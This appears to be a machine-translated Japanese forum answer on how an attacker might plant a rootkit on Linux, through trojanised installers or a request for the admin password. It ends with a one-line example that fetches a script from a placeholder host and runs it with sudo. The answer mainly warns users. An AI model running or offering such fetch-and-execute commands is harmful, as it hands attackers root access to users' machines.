それが私だったら、私は次の方法を続けます:
- ユーザーにソフトウェアをダウンロードしてインストールしてもらいます(#1)。そのソフトウェアに目的のソフトウェアをインストールさせます。そのアプリケーション内のbinairy blobを非表示にすると、ソフトウェア(つまり、ftp、wgetなどに使用できるツール)をダウンロードできます。
- 管理者アカウント(#2)を要求し、それを使用してFTP、wgetインスタンスを使用してルートキットをダウンロードおよびインストールします。
#1に関して:Linuxを使用しているとき、ユーザーはランダムなソフトウェアをダウンロードしてはいけません。適切なチャネル(Ubuntu Software Center)を使用してソフトウェアをインストールします。適切なチャネルの外部でダウンロードする必要があるのがソフトウェアの場合、ダウンロードのソースが信頼できることを確認してください。ApacheソフトウェアまたはMySQLの最新バージョンを考えてください。そのアプリケーションの整合性について、さまざまなソーシャルメディアをチェックせずに、ランダムなソフトウェアをダウンロードすることは避けてください。マイクロソフトはソフトウェアを一元化しません。その結果、多くの人がソフトウェアに手を出しているため、ユーザーベースは苦手ですが、コンピューターに簡単にアクセスして、販売できるデータを収集しやすくなりました。
#2に関して:致命的なユーザーの欠陥。管理者のパスワードが入力される理由が分からない限り、決して管理者パスワードを入力しないでください。
wget http://mydomain/script.sh;sudo ./script.sh